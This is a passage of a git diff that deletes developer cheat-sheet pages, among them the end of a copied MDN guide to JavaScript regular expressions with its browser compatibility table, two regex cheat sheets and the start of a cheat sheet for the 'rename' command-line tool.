-| `myRe` | `lastIndex` | The index at which to start the next match. (This property is set only if the regular expression uses the g option, described in [Advanced Searching With Flags](#Advanced_searching_with_flags).) | `5` |
-| `source` | The text of the pattern. Updated at the time that the regular expression is created, not executed. | `'d(b+)d'` |
-
-As shown in the second form of this example, you can use a regular expression created with an object initializer without assigning it to a variable. If you do, however, every occurrence is a new regular expression. For this reason, if you use this form without assigning it to a variable, you cannot subsequently access the properties of that regular expression. For example, assume you have this script:
-
-    var myRe = /d(b+)d/g;
-    var myArray = myRe.exec('cdbbdbsbz');
-    console.log('The value of lastIndex is ' + myRe.lastIndex);
-
-However, if you have this script:
-
-    var myArray = /d(b+)d/g.exec('cdbbdbsbz');
-    console.log('The value of lastIndex is ' + /d(b+)d/g.lastIndex);
-
-The occurrences of `/d(b+)d/g` in the two statements are different regular expression objects and hence have different values for their `lastIndex` property. If you need to access the properties of a regular expression created with an object initializer, you should first assign it to a variable.
-
-### Advanced searching with flags
-
-Regular expressions have six optional flags that allow for functionality like global and case insensitive searching. These flags can be used separately or together in any order, and are included as part of the regular expression.
-
-Regular expression flags
-| Flag | Description | Corresponding property |
-| --- | --- | --- |
-| `g` | Global search. | `[RegExp.prototype.global](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/global)` |
-| `i` | Case-insensitive search. | `[RegExp.prototype.ignoreCase](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/ignoreCase)` |
-| `m` | Multi-line search. | `[RegExp.prototype.multiline](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/multiline)` |
-| `s` | Allows `.` to match newline characters. | `[RegExp.prototype.dotAll](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/dotAll)` |
-| `u` | "unicode"; treat a pattern as a sequence of unicode code points. | `[RegExp.prototype.unicode](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/unicode)` |
-| `y` | Perform a "sticky" search that matches starting at the current position in the target string. See [`sticky`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/sticky). | `[RegExp.prototype.sticky](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/sticky)` |
-
-To include a flag with the regular expression, use this syntax:
-
-    var re = /pattern/flags;
-
-or
-
-    var re = new RegExp('pattern', 'flags');
-
-Note that the flags are an integral part of a regular expression. They cannot be added or removed later.
-
-For example, `re = /\w+\s/g` creates a regular expression that looks for one or more characters followed by a space, and it looks for this combination throughout the string.
-
-    var re = /\w+\s/g;
-    var str = 'fee fi fo fum';
-    var myArray = str.match(re);
-    console.log(myArray);
-
-You could replace the line:
-
-    var re = /\w+\s/g;
-
-with:
-
-    var re = new RegExp('\\w+\\s', 'g');
-
-and get the same result.
-
-The behavior associated with the `g` flag is different when the `.exec()` method is used. The roles of "class" and "argument" get reversed: In the case of `.match()`, the string class (or data type) owns the method and the regular expression is just an argument, while in the case of `.exec()`, it is the regular expression that owns the method, with the string being the argument. Contrast this _`str.match(re)`_ versus _`re.exec(str)`_. The `g` flag is used with the **`.exec()`** method to get iterative progression.
-
-    var xArray; while(xArray = re.exec(str)) console.log(xArray);
-
-The `m` flag is used to specify that a multiline input string should be treated as multiple lines. If the `m` flag is used, `^` and `$` match at the start or end of any line within the input string instead of the start or end of the entire string.
-
-## Examples
-
-**Note:** Several examples are also available in:
-
--   The reference pages for [`exec()`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/exec), [`test()`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/test), [`match()`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/match), [`matchAll()`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/matchAll), [`search()`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/search), [`replace()`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace), [`split()`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/split)
--   This guide articles': [character classes](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Character_Classes), [assertions](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Assertions), [groups and ranges](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Groups_and_Ranges), [quantifiers](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Quantifiers), [Unicode property escapes](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Unicode_Property_Escapes)
-
-### Using special characters to verify input
-
-In the following example, the user is expected to enter a phone number. When the user presses the "Check" button, the script checks the validity of the number. If the number is valid (matches the character sequence specified by the regular expression), the script shows a message thanking the user and confirming the number. If the number is invalid, the script informs the user that the phone number is not valid.
-
-Within non-capturing parentheses `(?:` , the regular expression looks for three numeric characters `\d{3}` OR `|` a left parenthesis `\(` followed by three digits `\d{3}`, followed by a close parenthesis `\)`, (end non-capturing parenthesis `)`), followed by one dash, forward slash, or decimal point and when found, remember the character `([-\/\.])`, followed by three digits `\d{3}`, followed by the remembered match of a dash, forward slash, or decimal point `\1`, followed by four digits `\d{4}`.
-
-The `Change` event activated when the user presses Enter sets the value of `RegExp.input`.
-
-#### HTML
-
-    <p>
-      Enter your phone number (with area code) and then click "Check".
-      <br>
-      The expected format is like ###-###-####.
-    </p>
-    <form action="#">
-      <input id="phone">
-        <button onclick="testInfo(document.getElementById('phone'));">Check</button>
-    </form>
-
-#### JavaScript
-
-    var re = /(?:\d{3}|\(\d{3}\))([-\/\.])\d{3}\1\d{4}/;
-    function testInfo(phoneInput) {
-      var OK = re.exec(phoneInput.value);
-      if (!OK) {
-        console.error(phoneInput.value + ' isn\'t a phone number with area code!');
-      } else {
-        console.log('Thanks, your phone number is ' + OK[0]);}
-    }
-
-#### Result
-
-[RegExr](https://regexr.com/)
-
-An online tool to learn, build, & test Regular Expressions.
-
-[Regex tester](https://regex101.com/)
-
-An online regex builder/debugger
-
-[Regex visualizer](https://extendsclass.com/regex-tester.html)
-
-An online visual regex tester.
-
-## Specifications
-
-| Specification |
-| ------------- |
-
-| [ECMAScript (ECMA-262)  
-The definition of 'RegExp' in that specification.](https://tc39.es/ecma262/#sec-regexp-regular-expression-objects) |
-
-## Browser compatibility
-
-The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out [https://github.com/mdn/browser-compat-data](https://github.com/mdn/browser-compat-data) and send us a pull request.
-
-[Update compatibility data on GitHub](https://github.com/mdn/browser-compat-data)
-
-|                                                                                                                                                | Desktop               | Mobile               | Server                 |
-| ---------------------------------------------------------------------------------------------------------------------------------------------- | --------------------- | -------------------- | ---------------------- | ----------------- | -------------------- | --------------------- | ------------------------------ | ------------------------------ | ------------------------------ | ------------------------------- | ------------------------- | ----------------------------------------- | ----------------------- |
-|                                                                                                                                                | Chrome                | Edge                 | Firefox                | Internet Explorer | Opera                | Safari                | Android webview                | Chrome for Android             | Firefox for Android            | Opera for Android               | Safari on iOS             | Samsung Internet                          | Node.js                 |
-| ---                                                                                                                                            | ---                   | ---                  | ---                    | ---               | ---                  | ---                   | ---                            | ---                            | ---                            | ---                             | ---                       | ---                                       | ---                     |
-| [`RegExp`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp)                      | Chrome Full support 1 | Edge Full support 12 | Firefox Full support 1 | IE Full support 4 | Opera Full support 5 | Safari Full support 1 | WebView Android Full support 1 | Chrome Android Full support 18 | Firefox Android Full support 4 | Opera Android Full support 10.1 | Safari iOS Full support 1 | Samsung Internet Android Full support 1.0 | nodejs Full support Yes |
-| [`RegExp()` constructor](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/RegExp) | Chrome Full support 1 | Edge Full support 12 | Firefox Full support 1 | IE Full support 4 | Opera Full support 5 | Safari Full support 1 | WebView Android Full support 1 | Chrome Android Full support 18 | Firefox Android Full support 4 | Opera Android Full support 10.1 | Safari iOS Full support 1 | Samsung Internet Android Full support 1.0 | nodejs Full support Yes |
-
-| [`compile`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/compile)
-Deprecated
-
-| Chrome Full support 1 | Edge Full support 12 | Firefox Full support 1 | IE Full support 4 | Opera Full support 6 | Safari Full support 3.1 | WebView Android Full support 1 | Chrome Android Full support 18 | Firefox Android Full support 4 | Opera Android Full support 10.1 | Safari iOS Full support 2 | Samsung Internet Android Full support 1.0 | nodejs Full support Yes |
-| [`dotAll`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/dotAll) | Chrome Full support 62 | Edge Full support 79 | Firefox Full support 78 | IE No support No | Opera Full support 49 | Safari Full support 12 | WebView Android Full support 62 | Chrome Android Full support 62 | Firefox Android No support No | Opera Android Full support 46 | Safari iOS Full support 12 | Samsung Internet Android Full support 8.0 | nodejs Full support 8.10.0
-
-Full support 8.10.0
-
-Full support 8.3.0
-
-Disabled
-
-Disabled From version 8.3.0: this feature is behind the `--harmony` runtime flag.
-
-|
-| [`exec`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/exec) | Chrome Full support 1 | Edge Full support 12 | Firefox Full support 1 | IE Full support 4 | Opera Full support 5 | Safari Full support 1 | WebView Android Full support 1 | Chrome Android Full support 18 | Firefox Android Full support 4 | Opera Android Full support 10.1 | Safari iOS Full support 1 | Samsung Internet Android Full support 1.0 | nodejs Full support Yes |
-| [`flags`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/flags) | Chrome Full support 49 | Edge Full support 79 | Firefox Full support 37 | IE No support No | Opera Full support 39 | Safari Full support 9 | WebView Android Full support 49 | Chrome Android Full support 49 | Firefox Android Full support 37 | Opera Android Full support 41 | Safari iOS Full support 9 | Samsung Internet Android Full support 5.0 | nodejs Full support 6.0.0 |
-| [`global`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/global) | Chrome Full support 1 | Edge Full support 12 | Firefox Full support 1 | IE Full support 5.5 | Opera Full support 5 | Safari Full support 1 | WebView Android Full support 1 | Chrome Android Full support 18 | Firefox Android Full support 4 | Opera Android Full support 10.1 | Safari iOS Full support 1 | Samsung Internet Android Full support 1.0 | nodejs Full support Yes |
-| [`ignoreCase`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/ignoreCase) | Chrome Full support 1 | Edge Full support 12 | Firefox Full support 1 | IE Full support 5.5 | Opera Full support 5 | Safari Full support 1 | WebView Android Full support 1 | Chrome Android Full support 18 | Firefox Android Full support 4 | Opera Android Full support 10.1 | Safari iOS Full support 1 | Samsung Internet Android Full support 1.0 | nodejs Full support Yes |
-| [`RegExp.input` (`$_`)](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/input)
-
-Non-standard
-
-| Chrome Full support 1 | Edge Full support 12 | Firefox Full support 1 | IE Full support 5.5 | Opera Full support 15 | Safari Full support 3 | WebView Android Full support 1 | Chrome Android Full support 18 | Firefox Android Full support 4 | Opera Android Full support 14 | Safari iOS Full support 1 | Samsung Internet Android Full support 1.0 | nodejs Full support Yes |
-| [`lastIndex`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex) | Chrome Full support 1 | Edge Full support 12 | Firefox Full support 1 | IE Full support 5.5 | Opera Full support 5 | Safari Full support 1 | WebView Android Full support 1 | Chrome Android Full support 18 | Firefox Android Full support 4 | Opera Android Full support 10.1 | Safari iOS Full support 1 | Samsung Internet Android Full support 1.0 | nodejs Full support Yes |
-| [`RegExp.lastMatch` (`$&`)](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastMatch)
-
-Non-standard
-
-| Chrome Full support 1 | Edge Full support 12 | Firefox Full support 1 | IE Full support 5.5 | Opera Full support 10.5 | Safari Full support 3 | WebView Android Full support 1 | Chrome Android Full support 18 | Firefox Android Full support 4 | Opera Android Full support 11 | Safari iOS Full support 1 | Samsung Internet Android Full support 1.0 | nodejs Full support Yes |
-| [`RegExp.lastParen` (`$+`)](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastParen)
-
-Non-standard
-
-| Chrome Full support 1 | Edge Full support 12 | Firefox Full support 1 | IE Full support 5.5 | Opera Full support 10.5 | Safari Full support 3 | WebView Android Full support 1 | Chrome Android Full support 18 | Firefox Android Full support 4 | Opera Android Full support 11 | Safari iOS Full support 1 | Samsung Internet Android Full support 1.0 | nodejs Full support Yes |
-| [`RegExp.leftContext` (`` $`  ``)](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/leftContext)
-
-Non-standard
-
-| Chrome Full support 1 | Edge Full support 12 | Firefox Full support 1 | IE Full support 5.5 | Opera Full support 8 | Safari Full support 3 | WebView Android Full support 1 | Chrome Android Full support 18 | Firefox Android Full support 4 | Opera Android Full support 10.1 | Safari iOS Full support 1 | Samsung Internet Android Full support 1.0 | nodejs Full support Yes |
-| lookbehind assertions (`(?<= )` and `(?<! )`) | Chrome Full support 62 | Edge Full support 79 | Firefox Full support 78 | IE No support No | Opera Full support 49 | Safari No support No | WebView Android Full support 62 | Chrome Android Full support 62 | Firefox Android No support No
-
-Notes
-
-No support No
-
-Notes
-
-Notes See [bug 1225665](https://bugzil.la/1225665).
-
-| Opera Android Full support 46 | Safari iOS No support No | Samsung Internet Android Full support 8.0 | nodejs Full support 8.10.0 |
-| [`multiline`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/multiline) | Chrome Full support 1 | Edge Full support 12 | Firefox Full support 1 | IE Full support 5.5 | Opera Full support 5 | Safari Full support 1 | WebView Android Full support 1 | Chrome Android Full support 18 | Firefox Android Full support 4 | Opera Android Full support 10.1 | Safari iOS Full support 1 | Samsung Internet Android Full support 1.0 | nodejs Full support Yes |
-| [`RegExp.$1-$9`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/n) | Chrome Full support 1 | Edge Full support 12 | Firefox Full support 1 | IE Full support 4 | Opera Full support 5 | Safari Full support 1 | WebView Android Full support 1 | Chrome Android Full support 18 | Firefox Android Full support 4 | Opera Android Full support 10.1 | Safari iOS Full support 1 | Samsung Internet Android Full support 1.0 | nodejs Full support Yes |
-| Named capture groups | Chrome Full support 64 | Edge Full support 79 | Firefox Full support 78 | IE No support No | Opera Full support 51 | Safari Full support 11.1 | WebView Android Full support 64 | Chrome Android Full support 64 | Firefox Android No support No | Opera Android Full support 47 | Safari iOS Full support 11.3 | Samsung Internet Android Full support 9.0 | nodejs Full support 10.0.0
-
-Full support 10.0.0
-
-Full support 8.3.0
-
-Disabled
-
-Disabled From version 8.3.0: this feature is behind the `--harmony` runtime flag.
-
-|
-| Unicode property escapes (`\p{...}`) | Chrome Full support 64 | Edge Full support 79 | Firefox Full support 78 | IE No support No | Opera Full support 51 | Safari Full support 11.1 | WebView Android Full support 64 | Chrome Android Full support 64 | Firefox Android No support No | Opera Android Full support 47 | Safari iOS Full support 11.3 | Samsung Internet Android Full support 9.0 | nodejs Full support 10.0.0
-
-Full support 10.0.0
-
-Full support 8.3.0
-
-Disabled
-
-Disabled From version 8.3.0: this feature is behind the `--harmony` runtime flag.
-
-|
-| [`RegExp.rightContext` (`$'`)](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/rightContext)
-
-Non-standard
-
-| Chrome Full support 1 | Edge Full support 12 | Firefox Full support 1 | IE Full support 5.5 | Opera Full support 8 | Safari Full support 3 | WebView Android Full support 1 | Chrome Android Full support 18 | Firefox Android Full support 4 | Opera Android Full support 10.1 | Safari iOS Full support 1 | Samsung Internet Android Full support 1.0 | nodejs Full support Yes |
-| [`source`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/source) | Chrome Full support 1 | Edge Full support 12 | Firefox Full support 1 | IE Full support 4 | Opera Full support 5 | Safari Full support 1 | WebView Android Full support 1 | Chrome Android Full support 18 | Firefox Android Full support 4 | Opera Android Full support 10.1 | Safari iOS Full support 1 | Samsung Internet Android Full support 1.0 | nodejs Full support Yes |
-| [`sticky`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/sticky) | Chrome Full support 49 | Edge Full support 13 | Firefox Full support 3 | IE No support No | Opera Full support 36 | Safari Full support 10 | WebView Android Full support 49 | Chrome Android Full support 49 | Firefox Android Full support 4 | Opera Android Full support 36 | Safari iOS Full support 10 | Samsung Internet Android Full support 5.0 | nodejs Full support Yes |
-| [`test`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/test) | Chrome Full support 1 | Edge Full support 12 | Firefox Full support 1 | IE Full support 4 | Opera Full support 5 | Safari Full support 1 | WebView Android Full support 1 | Chrome Android Full support 18 | Firefox Android Full support 4 | Opera Android Full support 10.1 | Safari iOS Full support 1 | Samsung Internet Android Full support 1.0 | nodejs Full support Yes |
-| [`toSource`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/toSource)
-
-Non-standard
-
-| Chrome No support No | Edge No support No | Firefox No support 1 — 74
-
-Notes
-
-No support 1 — 74
-
-Notes
-
-Notes Starting in Firefox 74, `toSource()` is no longer available for use by web content. It is still allowed for internal and privileged code.
-
-| IE No support No | Opera No support No | Safari No support No | WebView Android No support No | Chrome Android No support No | Firefox Android Full support 4 | Opera Android No support No | Safari iOS No support No | Samsung Internet Android No support No | nodejs No support No |
-| [`toString`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/toString) | Chrome Full support 1 | Edge Full support 12 | Firefox Full support 1 | IE Full support 4 | Opera Full support 5 | Safari Full support 1 | WebView Android Full support 1 | Chrome Android Full support 18 | Firefox Android Full support 4 | Opera Android Full support 10.1 | Safari iOS Full support 1 | Samsung Internet Android Full support 1.0 | nodejs Full support Yes |
-| [`unicode`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/unicode) | Chrome Full support 50 | Edge Full support 12
-
-Notes
-
-Full support 12
-
-Notes
-
-Notes Case folding is implemented in version 13
-
-| Firefox Full support 46 | IE No support No | Opera Full support 37 | Safari Full support 10 | WebView Android Full support 50 | Chrome Android Full support 50 | Firefox Android Full support 46 | Opera Android Full support 37 | Safari iOS Full support 10 | Samsung Internet Android Full support 5.0 | nodejs Full support Yes |
-| [`@@match`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/@@match) | Chrome Full support 50 | Edge Full support 13 | Firefox Full support 49 | IE No support No | Opera Full support 37 | Safari Full support 10 | WebView Android Full support 50 | Chrome Android Full support 50 | Firefox Android Full support 49 | Opera Android Full support 37 | Safari iOS Full support 10 | Samsung Internet Android Full support 5.0 | nodejs Full support 6.0.0 |
-| [`@@matchAll`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/@@matchAll) | Chrome Full support 73 | Edge Full support 79 | Firefox Full support 67 | IE No support No | Opera Full support 60 | Safari Full support 13 | WebView Android Full support 73 | Chrome Android Full support 73 | Firefox Android Full support 67 | Opera Android Full support 52 | Safari iOS Full support 13 | Samsung Internet Android Full support 5.0 | nodejs Full support 12.0.0 |
-| [`@@replace`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/@@replace) | Chrome Full support 50 | Edge Full support 79 | Firefox Full support 49 | IE No support No | Opera Full support 37 | Safari Full support 10 | WebView Android Full support 50 | Chrome Android Full support 50 | Firefox Android Full support 49 | Opera Android Full support 37 | Safari iOS Full support 10 | Samsung Internet Android Full support 5.0 | nodejs Full support 6.0.0 |
-| [`@@search`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/@@search) | Chrome Full support 50 | Edge Full support 13 | Firefox Full support 49 | IE No support No | Opera Full support 37 | Safari Full support 10 | WebView Android Full support 50 | Chrome Android Full support 50 | Firefox Android Full support 49 | Opera Android Full support 37 | Safari iOS Full support 10 | Samsung Internet Android Full support 5.0 | nodejs Full support 6.0.0 |
-| [`@@species`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/@@species) | Chrome Full support 50 | Edge Full support 13 | Firefox Full support 49 | IE No support No | Opera Full support 37 | Safari Full support 10 | WebView Android Full support 50 | Chrome Android Full support 50 | Firefox Android Full support 49 | Opera Android Full support 37 | Safari iOS Full support 10 | Samsung Internet Android Full support 5.0 | nodejs Full support 6.5.0
-
-Full support 6.5.0
-
-Full support 6.0.0
-
-Disabled
-
-Disabled From version 6.0.0: this feature is behind the `--harmony` runtime flag.
-
-|
-| [`@@split`](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/@@split) | Chrome Full support 50 | Edge Full support 79 | Firefox Full support 49 | IE No support No | Opera Full support 37 | Safari Full support 10 | WebView Android Full support 50 | Chrome Android Full support 50 | Firefox Android Full support 49 | Opera Android Full support 37 | Safari iOS Full support 10 | Samsung Internet Android Full support 5.0 | nodejs Full support 6.0.0 |
-
-#### What happens next?
-
-Our team will review your report. Once we verify the information you have supplied we will update this browser compatability table accordingly.
-
-#### Can I keep track of my report?
-
-You can join the GitHub repository to see updates and commits for this table data:
-
-[https://github.com/mdn/browser-compat-data](https://github.com/mdn/browser-compat-data)
-
-Our goal is to provide accurate, real values for all our compatibility data tables. Notifying MDN of inaccurate data or supplying new data pushes us further towards our goal of providing 100% real values to the developer community.  
-Thank you for helping.
-
-Please select the browser or browsers which are affected.
-
-Briefly outline the issue you are highlighting. Minimum 10 and maximum 1,000 characters.
-
-Browser documentation and release notes are good supporting items to accompany your message. A demo hosted on services like Codepen or JSBin are perfect for providing real examples of your findings.
-
-Connection error:Sorry, we can't seem to reach the server. We are working to fix the problem. Please try again later.
-
-### Legend
-
-Full support
-
-Full support
-
-No support
-
-No support
-
-Non-standard. Expect poor cross-browser support.
-
-Non-standard. Expect poor cross-browser support.
-
-Deprecated. Not for use in new websites.
-
-Deprecated. Not for use in new websites.
-
-See implementation notes.
-
-See implementation notes.
-
-User must explicitly enable this feature.
-
-User must explicitly enable this feature.
-
-[Source](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions)
diff --git a/docs/content/cheat-sheets/regexp.md b/docs/content/cheat-sheets/regexp.md
deleted file mode 100644
index 78896bf996..0000000000
--- a/docs/content/cheat-sheets/regexp.md
+++ /dev/null
@@ -1,85 +0,0 @@
----
-title: regexp
-category: Others
-
-weight: -1
-authors:
-    - github: rizqyhi
-    - github: izzergh
-    - github: kolapsys
-    - github: samtrion
-description: |
-    Basic cheatsheets for regular expression
----
-
-## RegExp
-
-### Character classes
-
-| Pattern  | Description                          |
-| -------- | ------------------------------------ |
-| `.`      | Any character, except newline        |
-| `\w`     | Word                                 |
-| `\d`     | Digit                                |
-| `\s`     | Whitespace                           |
-| `\W`     | Not word                             |
-| `\D`     | Not digit                            |
-| `\S`     | Not whitespace                       |
-| `[abc]`  | Any of a, b, or c                    |
-| `[a-e]`  | Characters between `a` and `e`       |
-| `[1-9]`  | Digit between `1` and `9`            |
-| `[^abc]` | Any character except `a`, `b` or `c` |
-
-### Anchors
-
-| Pattern | Description            |
-| ------- | ---------------------- |
-| `\G`    | Start of match         |
-| `^`     | Start of string        |
-| `$`     | End of string          |
-| `\A`    | Start of string        |
-| `\Z`    | End of string          |
-| `\z`    | Absolute end of string |
-| `\b`    | A word boundry         |
-| `\B`    | Non-word boundry       |
-| `^abc`  | Start with `abc`       |
-| `abc$`  | End with `abc`         |
-
-### Escaped characters
-
-| Pattern    | Description                            |
-| ---------- | -------------------------------------- |
-| `\. \* \\` | Escape special character used by regex |
-| `\t`       | Tab                                    |
-| `\n`       | Newline                                |
-| `\r`       | Carriage return                        |
-
-### Groups
-
-| Pattern   | Description                    |
-| --------- | ------------------------------ | ---------------- |
-| `(abc)`   | Capture group                  |
-| `(a       | b)`                            | Match `a` or `b` |
-| `(?:abc)` | Match `abc`, but don't capture |
-
-### Quantifiers
-
-| Pattern  | Description           |
-| -------- | --------------------- |
-| `a*`     | Match 0 or more       |
-| `a+`     | Match 1 or more       |
-| `a?`     | Match 0 or 1          |
-| `a{5}`   | Match exactly 5       |
-| `a{,3}`  | Match up to 3         |
-| `a{3,}`  | Match 3 or more       |
-| `a{1,3}` | Match between 1 and 3 |
-
-### Lookahead & Lookbehind
-
-| Pattern   | Description                             |
-| --------- | --------------------------------------- |
-| `a(?=b)`  | Match `a` in `baby` but not in `bay`    |
-| `a(?!b)`  | Match `a` in `Stan` but not in `Stab`   |
-| ---       | ---                                     |
-| `(?<=a)b` | Match `b` in `crabs` but not in `cribs` |
-| `(?<!a)b` | Match `b` in `fib` but not in `fab`     |
diff --git a/docs/content/cheat-sheets/regular-expressions-cheat-sheet.md b/docs/content/cheat-sheets/regular-expressions-cheat-sheet.md
deleted file mode 100644
index be29f124e0..0000000000
--- a/docs/content/cheat-sheets/regular-expressions-cheat-sheet.md
+++ /dev/null
@@ -1,53 +0,0 @@
-# Regular Expressions Cheat Sheet
-
-#### Anchors
-
--   `^`: start of the string or the start of a line in a multiline pattern
--   `$`: end of the string or the end of a line in a multiline pattern
--   `\b`: word boundary
--   `\B`: not word boundary (opposite of `\b`)
-
-Note: Anchors are non-quantifiable (i.e. cannot be followed by a quantifier).
-
-#### Character sequences
-
--   `.`: any character except line breaks
--   `\w`: any word character
--   `\W`: any non-word character (opposite of `\w`)
--   `\s`: any whitespace character
--   `\S`: any non-whitespace character (opposite of `\s`)
--   `\d`: any digit character
--   `\D`: any non-digit character (opposite of `\d`)
--   `[abc]`: a single character in the given set (here `a`, `b` or `c`)
--   `[^abc]`: a single character not in the given set (opposite of `[abc]`)
--   `[a-z]`: a single character in the given range (here between `a` and `z` inclusive)
--   `[^a-z]`: a single character not in the given range (opposite of `[a-z]`)
--   `[a-zA-Z]`: a single character in either of the given ranges
-
-Note: Use `\` to escape special characters (e.g. `\`, `/`, `[`, `]`, `(`, `)`, `{`, `}` etc.).
-
-#### Quantifiers
-
--   `a?`: zero or one of `a` (equal to `a{0,1}`)
--   `a*`: zero or more of `a` (equal to `a{0,}`)
--   `a+`: one or more of `a` (equal to `a{1,}`)
--   `a{3}`: exactly 3 of `a`
--   `a{3,}`: 3 or more of `a`
--   `a{3,5}`: between 3 and 5 of `a` (inclusive)
-
-Note: `a` is any valid quantifiable expression.
-
-#### Groups
-
--   `(ab)`: match and capture everything enclosed (here exactly `ab`)
--   `(a|b)`: match and capture either one character (here `a` or `b`)
--   `(?:ab)`: match everything enclosed, without capturing
-
-#### Flags
-
--   `g`: Global
--   `m`: Multiline
--   `i`: Case insensitive
--   `u`: Unicode
-
-Note that this cheatsheet is meant only as a starting point and is by no means a complete guide to all the features and nuances of regular expressions. You can also read 6 JavaScript Regular Expression features you can use today for a deeper dive into some more advanced features.
diff --git a/docs/content/cheat-sheets/rename.md b/docs/content/cheat-sheets/rename.md
deleted file mode 100644
index 8ecde8484f..0000000000
--- a/docs/content/cheat-sheets/rename.md
+++ /dev/null
@@ -1,40 +0,0 @@
----
-title: rename
-category: CLI
----
-
-### Installation
-
-```bash
-brew install rename
-```
-
-See: <http://plasmasturm.org/code/rename/>
-
-### Regex substitution
-
-```bash
-rename 's/hello/world/' *.txt
-```
-
-Rename `hello.txt` to `world.txt` and so on in `*.txt`.
-
-### Replace extension
-
-```bash
-rename -s .png .jpg.png *.png
-```
-
-Replace `.png` with `.jpg.png` in `*.png`.
-
-### Options
-
-| Option | Description               |
-| ------ | ------------------------- |
-| `-n`   | Simulation                |
-| `-l`   | Symlink instead of rename |
